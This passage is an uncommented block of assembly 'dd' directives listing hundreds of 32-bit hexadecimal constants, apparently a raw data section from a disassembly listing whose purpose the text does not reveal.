dd 4FDD7FF7h, 5A0004Eh, 5B413D92h, 2D50ADB0h, 68155707h
dd 782121BDh, 9A6AB404h, 50A45D4Bh, 0B36C1344h, 36E30457h
dd 2FBB1F3Ah, 6621800Eh, 75CCF281h, 0D7893E3Bh, 0F9F310AAh
dd 3F64FBDAh, 5018A2Fh, 28158C0Fh, 66512571h, 0F70DC481h
dd 0E27CD5D0h, 0F4589873h, 655D0523h, 5F868A0Fh, 96F10183h
dd 301EFF20h, 509E136Eh, 0A962973Ah, 0D8B4C7F4h, 4A4C2247h
dd 28995582h, 225971D3h, 7D5B2CA8h, 0F045E942h, 2D5F0628h
dd 16CA7E56h, 7FC0A076h, 0C90AF4EEh, 9F49BA36h, 541E628Ah
dd 0A452639Ch, 28C9687Ch, 215A5867h, 2590E9F4h, 7D226E0Ah
dd 0B4984359h, 17A8E644h, 0F50823CDh, 0BA6507ECh, 74E95D41h
dd 8BF0F519h, 72555233h, 0FD5D45CAh, 0D58B255Eh, 9429A7B9h
dd 12C5D3BFh, 688680D9h, 5FC540F7h, 1BBD2526h, 8085692Dh
dd 0F3968331h, 402CC909h, 17687966h, 0E98E0302h, 45155A1Fh
dd 80A01848h, 0E0C1E8D1h, 606C202h, 43F8FFE9h, 0EB0D17C0h
dd 161E14Ah, 1E811505h, 70C50196h, 4DC1E25Dh, 4B17632Dh
dd 9A785DF1h, 29DC02DFh, 706031F5h, 0E3251FD5h, 396526Dh
dd 8B3A6AF1h, 8FCFD105h, 0AD182761h, 29E1F80Ah, 0F0F30275h
dd 0C288FC1h, 0EE24B5A7h, 808B80F2h, 7E6F87Fh, 6872970Dh
dd 0DB8FB209h, 401D2D54h, 0A6C8DC6h, 746A4CF9h, 6763C68Fh
dd 0C05305Dh, 0E0C9FDD5h, 481A63D1h, 0E1D2D938h, 0D657F151h
dd 71A8A08h, 0BDAC5ACEh, 40999985h, 8887B5D7h, 800059EEh
dd 0D6F6A6CEh, 0B41E1D68h, 2CB742D0h, 285BE260h, 0C3CCF350h
dd 3C686601h, 0F4FBE96Fh, 3B2FD573h, 0FEE35CE0h, 0E6C18582h
dd 0D953E649h, 2368706Eh, 0A6837854h, 2926E594h, 0D3A850A7h
dd 0F173128h, 773479A3h, 4232A75Eh, 6CBFF2D3h, 0B6301B59h
dd 7D680209h, 27E7447Bh, 0F45B5954h, 0C304F113h, 0CD13E78Eh
dd 0F2140CE1h, 8B92E925h, 968216D1h, 0B4D05873h, 0D40154CDh
dd 2C8D1630h, 126FC86Fh, 2D4B8025h, 0A93D657Bh, 5E89459h
dd 7795807h, 4CD95517h, 0CAB3D0D4h, 4103051Fh, 5DE90EE1h
dd 0B2317FBBh, 0C981AB97h, 7C0126C3h, 0DB0C810Eh, 57DA4FCFh
dd 2E363A70h, 12432A09h, 6E7109C7h, 0D3E6031Ah, 2B2ADE7Fh
dd 0A0910F4Bh, 4D02E941h, 0DD41814Bh, 0D94A024Ah, 46D544B1h
dd 0C780E9F1h, 0E4595476h, 0E5C00F33h, 14C5A405h, 0D3321CAAh
dd 0A0B6A8D8h, 5535266h, 0B551E0B3h, 88B9EC8Ah, 0BCF33C28h
dd 3ED4309h, 20CC5410h, 0FC3FE02h, 2B5CC188h, 17A483Fh
dd 0E9E6B050h, 0BB724455h, 9269F32Fh, 0E828107Ah, 0A7704D2Ch
dd 12109D4Bh, 2715251h, 0FE16B7A6h, 2C3B120h, 35681240h
dd 0D1533745h, 0D257D6B9h, 87024A61h, 19B8F12Ah, 7CCB29D2h
dd 1CD6F0Ch, 88C33AB4h, 7C12EE4Dh, 0B11A91D3h, 0F4535642h
dd 76331BBh, 249C02Dh, 201FC25Ah, 0D4D88FE9h, 53505112h
dd 0DBA66784h, 525BDF0Bh, 80897C51h, 0AC5C5C67h, 36B202CDh
dd 0D07C0FB6h, 0EC02DA82h, 0BB08800Bh, 0BF587F67h, 0BD55EAA2h
dd 6C290A83h, 305D08D1h, 4A93703Ah, 0CA822420h, 3C4B0772h
dd 0C5D41BF2h, 61A9BFB2h, 2DE96560h, 4CD0095Ah, 76E74CFEh
dd 1DEB03A0h, 139856Dh, 8CF10B5h, 254C5D2Ch, 90A27AF9h
dd 19476813h, 14ACDE8Ch, 9D694C34h, 6C1A2101h, 34CFE976h
dd 0C25880C4h, 5BCB13B4h, 0B4C9ADE8h, 6689E542h, 440F2EF0h
dd 0C933CC68h, 0AC6A2423h, 801C2488h, 35C72B50h, 0DF84F5B2h
dd 2C5AEFE0h, 1233DAF7h, 0E2C9E4F9h, 0C17A040Bh, 7551022Fh
dd 7B3025Fh, 0D16A5CF4h, 290E8D01h, 0D9503130h, 9547BCE9h
dd 96002A3Ah, 67280549h, 7E3394A0h, 0E9313F05h, 35C8C14Bh
dd 149B1B68h, 0D47AE87Bh, 8355F190h, 0FBD53099h, 7950A3CBh
dd 1A8B69FEh, 0FE17FE71h, 9EA72D52h, 57853648h, 9F11B853h
dd 0F081DE1Fh, 0D8F75B5Eh, 4EE91B74h, 0B48D17AAh, 0CA410AEEh
dd 0DB9363Bh, 30776812h, 8BE94331h, 0B30EF668h, 44CC0EBh
dd 0BAFA0306h, 0F62A3761h, 0A3CB86D5h, 5FF2DAD2h, 0BBD9C009h
dd 0DEAC7434h, 12C4D8C4h, 0E5A774E8h, 90CF94F6h, 38850F02h
dd 1DF4E8A4h, 27712312h, 625984E0h, 9CE9675Ch, 69B6F8F0h
dd 83DB495Ah, 0CE4815A7h, 0DB4FE952h, 0FC8AA817h, 0E62E0F12h
dd 7968139Ah, 0BC78DAB3h, 92D1C999h, 0D26D5800h, 24DA0109h
dd 8B2588E9h, 8B80E168h, 0F187590Eh, 0D02482B5h, 3CC8F1E0h
dd 0A92C6012h, 0C5C10206h, 776CE8A1h, 8B51A889h, 1166BD03h
dd 59BC8D32h, 96FEB24Fh, 0AB0250CDh, 2C2D004Eh, 22F59B0h
dd 64318489h, 0BB0210FCh, 135418E3h, 31D98255h, 6183DEF9h
dd 6C236568h, 0E95682D5h, 5A92A7A4h, 661B54F2h, 1CB52CE6h
dd 2C1C3B39h, 4E80EA0h, 2E55EE99h, 0C22163DDh, 0EFF1412Ah
dd 0F6D035FDh, 0BC246DFEh, 1C64AD00h, 2EAD11Dh, 3F18F281h
dd 2062082Eh, 0A29F1950h, 3D54FD2h, 92F7E681h, 0A9763793h
dd 1CC92E8Dh, 0F602492Ch, 10035A1Dh, 5FD26129h, 3859CA88h
dd 0A4E7E90Bh, 5CB58FFFh, 180ECB3Ah, 0D387F851h, 4153F05Ah
dd 0AE04DBD4h, 10FC68A5h, 98C24FC6h, 0F1409F8Ch, 454AAFE9h
dd 0ED8B7064h, 0E9165B52h, 5D9FF016h, 0A534EAC9h, 0AE13C127h
dd 0B18BE706h, 0AA94FE20h, 0F03B758Ch, 800813AAh, 7FFB9905h
dd 71F585C1h, 0C6E1D102h, 0D454CC86h, 6CC62926h, 76F3BE2Ah
dd 0F98F4AC6h, 0BDCA304Ah, 16F21809h, 100E6F98h, 0C947D878h
dd 0C1D648EDh, 190458E5h, 0BF42E904h, 0C318EF7Fh, 9A8530h
dd 0EA296F1Bh, 5AD0215Dh, 73B72297h, 2A80F11Ah, 8987A4F5h
dd 541853A4h, 32A7009Bh, 713DE81h, 0C06BB80Eh, 0F727EE1h
dd 0E90B1776h, 15C7CF9h, 73338217h, 0B106CC39h, 246AB25Bh
dd 61697609h, 0F28B5A83h, 525DC02Bh, 0EE8066B6h, 0F63F8C73h
dd 5D13196Ch, 844DEB47h, 846408DBh, 0E9045AFDh, 0CDA4AEE8h
dd 765B12B8h, 0FEE90149h, 20643F30h, 28F8D52Dh, 0D7293501h
dd 0E0E9515Ah, 28BE142Fh, 0B5D31C27h, 5A111A2Fh, 0A2702081h
dd 7D53BD00h, 0C1455B62h, 0CE0651EDh, 306B802Ah, 0FA4B49D8h
dd 56F406E1h, 0EE012216h, 32E911C4h, 458523D4h, 332D4BFDh
dd 0B77691E2h, 41927852h, 132E6387h, 72D1D768h, 5968C7BDh
dd 9A14EBF2h, 6F25A01Eh, 0BA18603Ah, 0CADB82EBh, 1292EE7Ch
dd 35EF1CFCh, 784EEADh, 0CD87B15Bh, 0EDAC30F9h, 13514DECh
dd 903FE0EEh, 48B27C4Ch, 5D0840C7h, 36B2884Bh, 75C85810h
dd 0AA09530h, 94DA315Fh, 82E950DBh, 0C7D62597h, 0C5ED2EE5h
dd 86813435h, 4A895AD1h, 61D65830h, 0D7C39D26h, 0CB666332h
dd 9C50A14Ch, 201984B4h, 18EB6886h, 1A62CC96h, 88025C52h
dd 0BB01EDF8h, 66E46C0Bh, 0A7AC29E9h, 0DEFA449h, 156DD207h
dd 0F1D9B1D0h, 29B56427h, 608C2C94h, 0F8012FDh, 192C84F2h
dd 56D8B249h, 7CB434F8h, 4E186858h, 2610A73Ah, 0D18B6C8Dh
dd 9DD004EFh, 812ED3B1h, 2FE8941h, 0C0B96ACEh, 243B1DF1h
dd 1954041h, 0F201DFFDh, 38183129h, 0A1C71522h, 0F4B24F8Dh
dd 622F0193h, 2C490B50h, 61BDA1E5h, 59871DA0h, 0B53F7066h
dd 59E88883h, 4AD8A04h, 952642CBh, 0B05987Fh, 1BEBC948h
dd 0B2F32332h, 0BCED6664h, 704508E2h, 5DEF3106h, 9298C1E3h
dd 4111A204h, 2540283h, 25E87B59h, 0CF7E246Ah, 68F0D00Bh
dd 82C20347h, 3F5C6380h
dd 0F1EB7C66h, 398B8A2Dh, 98BE750Ah, 35630E06h, 0DB310F48h
dd 0C4895515h, 54B11963h, 0E46E3D5Dh, 4051FF89h, 8B3F15E7h
dd 5DC2608Dh, 0B06D5549h, 3CD9E5F8h, 0D889013Ah, 200E18FFh
dd 5E122DC4h, 2EED0C48h, 0D35D5B07h, 7EF5610Ah, 845ACD6Fh
dd 5412E91Ch, 17C1E5C8h, 914D0375h, 563ED2h, 96B6890Fh
dd 0AAD03C37h, 0BF8FB58Ch, 458EF81h, 28BBE84Ch, 79E3E94h
dd 0EA263509h, 5D30C184h, 0A2F2B157h, 0A50F5B5Ch, 0C5024DA9h
dd 561C5Ah, 8725DE51h, 6F291359h, 0BC4EB684h, 0E053CA29h
dd 566F0927h, 195667C9h, 0E985685Bh, 28D935C2h, 5001672Dh
dd 8E67C6B8h, 1D3B7002h, 606858A8h, 0B000ECBBh, 4BB35314h
dd 0DCDE2FE9h, 0F8209FCCh, 0F5BD05FEh, 0C2B3D8D6h, 0CD085212h
dd 5C274803h, 0DB0C0402h, 0EF6ED062h, 0E859545h, 0B5B195ACh
dd 0C3198011h, 61BB3840h, 9505B889h, 1253F289h, 18148E09h
dd 133668E1h, 640E1E57h, 56D2C097h, 4D18FC7Ch, 29B574E9h
dd 595778F0h, 0A24C2EC6h, 6D5B1202h, 0C40F8907h, 12BCE383h
dd 0B42B692h, 515B0388h, 99E9418Fh, 0C537929Dh, 394B0E12h
dd 42F73B8h, 8D0EEA68h, 0F9F343BBh, 4017F4A1h, 8A0F12D1h
dd 0B2251100h, 559B413h, 3824137Ah, 0FF7A0D17h, 22963465h
dd 0D3313B4Bh, 283F2D9Dh, 75A2282h, 0D6436598h, 9506A3ADh
dd 6239D358h, 124AF566h, 5BF2C2A1h, 0FB82955Ch, 0C25F0E2Ah
dd 685BFC10h, 0FFA5250Ch, 0A0B65278h, 563D35B4h, 0CCB5F2EEh
dd 0E52D2096h, 26FEF67Eh, 5F6F5E64h, 40EF29BBh, 5D9C7873h
dd 5F40AC98h, 0B0EB7829h, 215B2DC8h, 0BD022AA9h, 1B5D3906h
dd 0DEF7CAD3h, 15B225ACh, 53C06F5Ch, 79196852h, 1C07632Ch
dd 0F4B1DF2h, 25E924C8h, 78C41F9Fh, 649F5EF0h, 7C5D00CEh
dd 8D0F0CD3h, 0E9800DCCh, 4C01B5BCh, 0E041D1F7h, 0A1DE5990h
dd 6482A76Fh, 810F0538h, 3DE1F1BDh, 878CDF43h, 0B7596FA5h
dd 0E044844h, 21ED7A4Eh, 0F025964Bh, 0AB8E1329h, 0F110701Ah
dd 9E8049E2h, 0F2FC0BE9h, 0CA89C51Dh, 0BA03CD3h, 203EB02Ch
dd 0EF84B8EAh, 5DC05164h, 0F596BF00h, 0A6B4B643h, 831AC02Fh
dd 0ED6CC0C5h, 1D28619Ch, 2540E916h, 8D6D4E9h, 4912C72Fh
dd 0BAEF5F08h, 9E8525Fh, 1A303BDCh, 0B980E165h, 6411ED3h
dd 5C5F8948h, 7DF6D6CEh, 5E164261h, 803FEA29h, 2B11B803h
dd 0AB6F1FB0h, 4E97FD35h, 0F0876C84h, 5BCBB921h, 0F3C829D8h
dd 0ADDF2C8Fh, 3593D3F8h, 3B57CD2Ch, 17943A15h, 3F0D4E9h
dd 0E0B40043h, 0B753A6B1h, 6812661Eh, 48E82290h, 0EF09EB8Eh
dd 0C1101A0Bh, 8070B652h, 5A70F076h, 0A2CD83Ch, 0B236D3E9h
dd 76126D80h, 1F97BD31h, 0CB4AF475h, 0CCA2A53Bh, 0EB6361CAh
dd 7EBC0E0h, 0E9CBFE04h, 0BDC83520h, 4B6B1965h, 205B0C33h
dd 29051567h, 0BD6E9F3h, 0A3274EFDh, 0FD76EE8Bh, 23D76A8Bh
dd 5ADCB389h, 0D0DD8C0Ah, 81FF962h, 0E494F69Bh, 0F7CD8101h
dd 0A674BBD3h, 102C9935h, 26319002h, 0E4E9C020h, 0B176505Fh
dd 0E66A4BE0h, 25EF58ABh, 2F6CE61Ah, 214ECC7Dh, 185A6871h
dd 0DD4BDC8Fh, 102A794Dh, 973BEF7h, 6E17280Ch, 0D8CE8C00h
dd 2124A6CCh, 530D0BF5h, 0C13F3F5Bh, 2FF67735h, 0ED58B48Ah
dd 6534F97Eh, 1D76FA59h, 2D2CF028h, 686188D9h, 73630CFDh
dd 8012B102h, 0F47B7DC9h, 2B9EF2C9h, 2443EC48h, 0E8132D84h
dd 0B2525902h, 84E2C08Ah, 0CAA9779Eh, 2331ED03h, 0FDD96771h
dd 0C617819Ah, 6ADB07FEh, 13D7E6D8h, 73E337Ch, 651BA83Dh
dd 0FED8004Fh, 0E9451223h, 3BF2912Dh, 48A5D9F3h, 0FAD5616Ah
dd 0C2010199h, 0C55E736Dh, 0B23DAF2Dh, 0FDC0452Bh, 53FF3044h
dd 1F6D788h, 5870BEBAh, 0FC49C378h, 11562D4Dh, 146B5ED9h
dd 0EC5CF2A5h, 0EF19645Ah, 7C040235h, 5FEC20E2h, 47440BD6h
dd 0D0D3D5B2h, 8AE90EB0h, 6F86B6A5h, 8827AA25h, 8409CB98h
dd 9761358h, 0EB900081h, 0B1D98960h, 1CF069BCh, 0F51BD70Ah
dd 0F602D266h, 615F1FDEh, 0D3E5D86h, 6AF66710h, 3AD9F410h
dd 29E29268h, 0B32A4E0Ch, 33DF07BEh, 0B2463882h, 0F3D43A13h
dd 61454082h, 5147E010h, 2A82D5Fh, 35001C70h, 11E60BDEh
dd 0B156B5E9h, 20C2654h, 0A0BF8F6Eh, 51C7F941h, 3E5B66E6h
dd 4EE9F228h, 342D970Fh, 1E30BB98h, 7D2A38A4h, 0BC4A2033h
dd 48B65C58h, 0CC172783h, 50C29E0Bh, 0D883EB07h, 3D4002E1h
dd 86AE615Ch, 1E519402h, 81E85925h, 215F1468h, 51B96234h
dd 0E7D1517Bh, 9CBCB2Eh, 0C41EC368h, 5F5425ACh, 1370E46h
dd 56B937D7h, 0CBE9D84Fh, 0EAB3E660h, 4B865AFh, 0B18A0F34h
dd 9E4FA3FAh, 7299E741h, 2D6049A8h, 83DDA806h, 0CF30C0EFh
dd 68ED47C5h, 74BF5E0Fh, 0A1662B2Ah, 69A0E900h, 13DBF448h
dd 0C17F351h, 82201E3h, 2088D8F9h, 16C5AB48h, 0DAF05FF9h
dd 3A94303Fh, 700D6A36h, 4F0C7461h, 0E9C45425h, 0E9DA54FBh
dd 39CB63Ah, 234C6855h, 1A7047F2h, 7BD10144h, 7978E5EDh
dd 994B4948h, 0D4BF31CAh, 7D598C7Bh, 34F0163Eh, 0CC8B53F8h
dd 26A59602h, 5FB8DD12h, 129597D4h, 9FD7294h, 6F3A4B7Bh
dd 0ED961D16h, 70E31312h, 2234929Fh, 1DECDFA8h, 5E28525Fh
dd 0EC07C68h, 9CE92C94h, 505661B6h, 650E3254h, 60A617A6h
dd 20E1824Bh, 88045E2Bh, 0B3280D2Fh, 0A603F509h, 0E684805Fh
dd 0F6704874h, 64DA9AE8h, 0D1318233h, 6A69553Bh, 0DEEDCADDh
dd 3C7B7535h, 8069E934h, 48F00081h, 0F6720945h, 0D0255F46h
dd 0FD3DB5C0h, 0C46704Ch, 2EDE5191h, 0AC30BC5h, 0ABD67906h
dd 71CB0C09h, 0AF3788D0h, 436FBF00h, 62BB60F2h, 0FB290B73h
dd 0A85D095Ah, 125E58B8h, 0CF603139h, 166D23A1h, 0D068504Dh
dd 0C229589Dh, 737600B7h, 9554C30Ch, 20DD1906h, 0D7C84097h
dd 88128668h, 0C60151E0h, 5D91700Bh, 1865942Bh, 72881C08h
dd 473DE626h, 0FD446712h, 69F2163Eh, 0E9747192h, 427575CDh
dd 0F668E5E6h, 102B050h, 2C58C130h, 0B9DCE186h, 25F77234h
dd 0E2004ED6h, 0E3D41EEh, 42D07250h, 3E11C813h, 0D9681609h
dd 3E8C489Eh, 3736B913h, 0C1E73448h, 7BA9F4C4h, 4B29D798h
dd 5817B3F2h, 58CF8B16h, 0D6BB0055h, 0BD2CAE09h, 8B095FE2h
dd 4DD2971h, 41BE9E82h, 0DF185725h, 7CB6A466h, 0D27FC01h
dd 65E2095Ah, 124E9697h, 0AE5DC430h, 2A687178h, 5AA17AA4h
dd 0BD2BC038h, 722C116Fh, 4602771Ah, 0E1F84397h, 812AE90Dh
dd 382C8BECh, 25EB80FAh, 90222E7Ah, 4CE70492h, 0FC0115BEh
dd 0D50841DFh, 4CB5495h, 0A8530294h, 2E23DCE9h, 68C3C057h
dd 389C136Dh, 50F1868h, 21FAA00Fh, 0F43B02Dh, 0D8017ACEh
dd 0A07C0794h, 9D108811h, 531271E4h, 3256C5E9h, 832077CAh
dd 0F379E92Ah, 2D22BD02h, 0C04D264Bh, 815C728Eh, 84A620BFh
dd 0D04F1825h, 0BC4820B3h, 25EAECA1h, 0E32C7A37h, 216997FEh
dd 5FD87832h, 0BFC20A83h, 0EA2FA6A2h, 2C9FC057h, 0BC77FE4Ah
dd 0F70905A1h, 0F258C3A5h, 0E9EA01C8h, 980D8320h, 0C09540F5h
dd 2C03E01Dh, 281698BFh, 81AA871Fh, 2C3FBF5Bh, 6881245Ah
dd 2299609Fh, 82545930h, 4025B851h, 9E9BD0CEh, 0CC324986h
dd 6920E55Ah, 0F43012CBh, 75FCE85Ah, 0E628520Eh, 0B3042458h
dd 71D2C1A1h, 0DA6862F3h, 5167005Ch, 0BF494C9Eh, 28D24AF7h
dd 1D41386Dh, 3516C02Ah, 6A4F2505h, 0F510DE0h, 0EBE90D84h
dd 3340A997h, 0BA4A3B7Eh
dd 0E8F17A88h, 2E349A54h, 19B7E801h, 3EAA9331h, 0B57133D8h
dd 1A530389h, 51628A62h, 16F0126Fh, 209AE807h, 7DBA02F1h
dd 4A22071Ah, 5D048BDCh, 0C9B1213Fh, 4B136D02h, 2D220D0Dh
dd 212EDC26h, 0D9E7C776h, 6841E7F9h, 997B30E5h, 3AA620A9h
dd 941053DCh, 0EA12FD62h, 5EB69222h, 0F25C4454h, 897C0F2h
dd 5B013A57h, 0D327F2C2h, 50A55416h, 40E60CA4h, 0E95FFA29h
dd 0C0CFFE67h, 42800462h, 15408417h, 181AF0A9h, 37A2FE20h
dd 0D803EA8h, 0B2FB5A8Eh, 59B5214Bh, 680A8B78h, 0A0532620h
dd 0C5D2208Fh, 0DA039BB5h, 689AA19Ah, 914D06BDh, 969376F4h
dd 90884C0h, 64B5A820h, 68605DE5h, 5D996FC8h, 409930A7h
dd 8089BC03h, 9A17A53h, 24CE1C1h, 64B40685h, 18D00FEAh
dd 689B849Ch, 2B9D59CDh, 39B6763Bh, 91E9DA05h, 270BA7C6h
dd 2F76EF52h, 73689B59h, 3137860Ch, 5E980BCFh, 0D25E4E85h
dd 36B8EF80h, 0A031AA17h, 0B6D021D6h, 16B25BB8h, 6A68F590h
dd 0F07F5D27h, 0C38B1035h, 8D1161D4h, 5302EAFAh, 33C2DAE0h
dd 4CBA6F05h, 5FBB3FE9h, 14E20521h, 0FB17C17Ah, 5386EE8h
dd 0DDBA5445h, 2C764429h, 0F20013BDh, 89C02794h, 5D5A61DEh
dd 8309815h, 0B6479E68h, 0B5A463EEh, 8B2B5A4Bh, 0EF835C07h
dd 27F7D101h, 0DE09E940h, 18129C54h, 3235BFF1h, 60418B7Ah
dd 0CB587A18h, 0BA9B019h, 440F0985h, 41FDC2D8h, 3829E908h
dd 95BE0189h, 462EAD0Eh, 0C65EC82Ah, 9BA0528h, 0A4FCE917h
dd 8CD3A2FDh, 0F10BF748h, 0F2598168h, 302C9E72h, 97717FC6h
dd 5C4D307Bh, 27513B20h, 0F9F84870h, 0FC04B55Fh, 49B1F178h
dd 0B5F48860h, 32263E21h, 93D92D51h, 7CA9E967h, 54452535h
dd 422DFA35h, 0B5025F60h, 0FE5AC2C6h, 9192D491h, 6C09FB04h
dd 1FF2780Eh, 92BAF2Dh, 0EC822901h, 580B428Ch, 0AF515CACh
dd 9C0CA607h, 5EF1903Eh, 0C112D9F7h, 0D50105E9h, 703C472Fh
dd 5AD4D5E3h, 0D6DE0AE8h, 517D8167h, 324FEE54h, 96931F26h
dd 550584Bh, 922740B4h, 8FC15ADEh, 7200F7F1h, 255F5766h
dd 0BE110351h, 35484002h, 9616603Bh, 0E5E6C501h, 0B1BA692Ah
dd 0BE044BFAh, 0B551005Bh, 70ED80FAh, 59EF2F63h, 30BF72D8h
dd 81F24D64h, 3F802FF7h, 163788BCh, 1D30939h, 7B06EBD8h
dd 55E2EAFBh, 0E8468025h, 0AB150FE5h, 5AF8892Fh, 0D4BD0561h
dd 8205E024h, 7E0B4C8Ch, 29CC5807h, 24850F80h, 9692327Bh
dd 0CCE5F587h, 550BB748h, 0E010E95Dh, 1EC6BAF6h, 8907A449h
dd 0C3514A53h, 78056885h, 6DCB4CE8h, 566B025Eh, 0FA712DD7h
dd 10195889h, 83B09627h, 26C8EE01h, 0F3014F14h, 809AC44h
dd 7AA0DC5Eh, 60D18955h, 8390468Eh, 23148CD0h, 4499D194h
dd 7E308Fh, 0C05AD1F7h, 801303E6h, 0B8099BC6h, 222045BAh
dd 269A8133h, 99E62C01h, 0EBE1386Ah, 62B6EF9h, 4DBF66Ah
dd 5207EB0h, 4F26FE4Bh, 5217D9D4h, 0E258E550h, 76C60500h
dd 0D02903CEh, 2207A32Dh, 0CF04D396h, 3CE54C4Bh, 0C79F18C0h
dd 29852DAEh, 735EAF8h, 6F069D34h, 0F2128h, 0EB805A60h
dd 0F7B2522Dh, 694D3FAh, 580AFC4Bh, 0FDBA3BE9h, 7E05358h
dd 5B089D4Fh, 5BCFD8C3h, 0ADF6A418h, 2571311Dh, 33E1FABCh
dd 0B9B8502Eh, 903F3A41h, 84C9BFA6h, 6F20F27Dh, 4644B54Ah
dd 9D4EE798h, 0E10798D2h, 41B2E898h, 78030512h, 80241DACh
dd 1650D2E1h, 0CE3D617h, 9B60EFB6h, 166D380Bh, 0B8D8315Eh
dd 25AA881Ah, 0B2C17343h, 0D264924Fh, 8F2610D1h, 40830904h
dd 62487132h, 25924168h, 62C7E92Fh, 8B656A8h, 0B801A74Ch
dd 7D9D6D40h, 92B324E8h, 4BD398D8h, 0F30D1621h, 0C73A7508h
dd 0B8BC852h, 2FC9E93Ch, 5ED4D2D8h, 2568FEE0h, 461CB1h
dd 0B0A9D47Eh, 8F7720DDh, 0E55F1467h, 23417AF1h, 2BC1B9F3h
dd 0ECFB3992h, 266672A9h, 0F4A150C3h, 43D94D2Ch, 141D113h
dd 9175A2C6h, 0A7E1D87Eh, 7A777018h, 2F310F4Eh, 0F879DD8Ah
dd 4222E909h, 0F8BA6E37h, 0D0924AB1h, 9A768C7Fh, 0F7011816h
dd 1084C10h, 4897BB53h, 804231DFh, 624207DAh, 53EBB855h
dd 5615C8CCh, 0C7498E40h, 25FA708Ch, 8709ABB5h, 2D860089h
dd 4F7A2E4Bh, 0E5FFC75Ch, 6461EED3h, 0CB2EC926h, 10552FECh
dd 98505D9Eh, 407505A7h, 81894FB7h, 74ADF768h, 9496FB8Fh
dd 74841F96h, 68CF1EF8h, 6FB011EBh, 0C5BF5AE0h, 5AE522F0h
dd 778FF176h, 134B04F0h, 9EBE4C7h, 5E2BA2AEh, 468CF953h
dd 0FCA3F4Bh, 63350DB9h, 4DA38786h, 2DFC2A98h, 16F750Bh
dd 50DA61FAh, 0B5C6A320h, 56963894h, 0DDE95906h, 95BB05C5h
dd 0C21CF349h, 2F22272h, 3E8BE383h, 0FF161EF3h, 6757AAE9h
dd 4F483EDAh, 0F33904Ah, 68E8C8BEh, 9376513Eh, 0C7B3F364h
dd 413DAC50h, 8D403FDCh, 1B5D6CD9h, 80809D89h, 0CDE958C1h
dd 0E28E554Eh, 42B8680Bh, 5158EE54h, 6E5809B9h, 730016D5h
dd 5DCB4076h, 7AA342B5h, 699180C0h, 0AB22504h, 0BE292185h
dd 1C57F103h, 8E2DD22Fh, 0D79FA016h, 2429E1BBh, 0C90A58C5h
dd 53D63C42h, 0BAE2D143h, 2F9BD5EAh, 6C8CE6F9h, 9880C42Bh
dd 0A3F50B16h, 0CB24747Eh, 39CC3B17h, 48C14039h, 0FD8F703h
dd 793C3B83h, 4D89EE22h, 3502E90Eh, 0BB938F45h, 0D7808E4Ah
dd 2C6073AEh, 0F0D1899Fh, 0CC32483Dh, 5E520C60h, 9C807CB8h
dd 30BD2DB4h, 0EBB71A64h, 76A4CA53h, 0CBFB9723h, 1012185Eh
dd 0D7F7530Ah, 65ACB5B5h, 6904D518h, 65497EFBh, 0DE311CFDh
dd 92F392h, 0F8FA057h, 0B1934C8Bh, 0CA14059Eh, 56518360h
dd 47EF8727h, 4F2D83B5h, 29989373h, 7A205C8h, 0BC709D76h
dd 0E4D2667h, 0AF770314h, 0C6FD3B25h, 59713E1Fh, 0AC3312Fh
dd 330C36D1h, 40E3F344h, 0E73C802Ah, 0FAF5131Eh, 49D7AEFCh
dd 22F8D124h, 4586B8BFh, 6F18D4FBh, 22D42712h, 0F7601803h
dd 69CB4E23h, 0AC9EA48Ah, 7002A481h, 5076906Eh, 0E9123AB4h
dd 0C0314117h, 1F61565Ah, 5BBB432Bh, 53A06D2Ch, 0FEFA5150h
dd 0C0330E95h, 0D9F609B1h, 0A8C13E80h, 0F24D3397h, 0A61A897Fh
dd 4F6A408Ah, 12F8B305h, 1EB654F6h, 3E3E294Ah, 0E2B0B946h
dd 16B97279h, 1772813Bh, 8174E847h, 0E0A6BDB1h, 4DBA8E1h
dd 22E8BA2Ch, 0C25C83D7h, 281C2FF0h, 8097E977h, 8C5B848h
dd 0F70600B4h, 242A35D0h, 5045A8Ch, 56853373h, 41E260BAh
dd 0C954A4C3h, 0C637E9EEh, 543069A5h, 0B517CC1h, 6DE66856h
dd 0EF8343D9h, 0C32CA23Bh, 42AE5CFEh, 0CC515A2Dh, 28EB5CE5h
dd 0A51CE91Fh, 260FF8Dh, 5206604Ch, 0D440C631h, 5603BEE6h
dd 0EEC12572h, 0A5F6C805h, 1213882h, 7B1AF0AFh, 0CB0D6F9h
dd 5A354DE0h, 0E9198162h, 25417FF8h, 5773FBEEh, 5EF9930h
dd 7D1F7AA1h, 5D19429h, 0F3575E08h, 0B2EE49F1h, 76FE425Ch
dd 67E9C1FBh, 3C557221h, 128E104Dh, 45526827h, 3D58ABF4h
dd 5B51817Ch, 0BC800D63h, 4C2F29B8h, 5A4AD709h, 798182F0h
dd 157112CFh, 60FDA138h, 31024B22h, 0B3E95044h, 0F1050BAAh
dd 5E2990BFh, 7C654B68h, 4CC8B86Fh, 5FC809EAh, 3C0364E1h
dd 3E86AACh, 529458E9h, 76C5BD00h, 8170DAh, 57982FEDh
dd 5DEF299Fh, 17F742E7h, 564A51D9h, 9CE012Dh, 0A08759CAh
dd 61062249h, 0D6E3C143h, 2D35C241h, 0E89F5089h, 5B9A894Fh
dd 9CC6E34Bh, 25FA4EEFh, 9D017EE9h, 0BBC82159h, 5A4E7C17h
dd 49127A5Ah, 0B0315EC4h
dd 56B47F9h, 85215D6Fh, 7344B932h, 9F024641h, 0A0397F1Dh
dd 3AEB3566h, 5D3435CDh, 0BD9B928h, 116E897Dh, 0A2665C2Fh
dd 2B5D3CEEh, 0E95085D6h, 34094A9Fh, 859B13C3h, 0E0E9F18Ah
dd 189D225Ch, 4CFE6B23h, 9720B8C9h, 5B375F4Ch, 0E9C574B2h
dd 0BAD35275h, 6B0E7468h, 0A33422A6h, 700B877h, 0CD051ECCh
dd 947E57Ch, 9E66692Dh, 0E29F3480h, 113F3ECh, 0BD0458C2h
dd 0BF00F2A5h, 44A70AC9h, 3C7DE09Dh, 0BB5835F5h, 0D7C4BC5Eh
dd 0E9853BF2h, 0F69EA001h, 33F0DE5Ah, 0E67DE680h, 3C6B76CEh
dd 1EE2ADC6h, 8148EDE9h, 642268ACh, 53D32676h, 55CF4010h
dd 0BD3C0123h, 2A24127Dh, 4DFA0BBFh, 56BB0802h, 98F414F5h
dd 0FD712151h, 2CED8208h, 7C5B07D1h, 0CACEBE21h, 93091D3Ch
dd 6C0A0C1h, 0BB8E740h, 22BD6BDCh, 3F0345ABh, 0B1C2E905h
dd 578B0151h, 7C289654h, 0D7BF5853h, 9BF6B0D3h, 1FF6CD4Fh
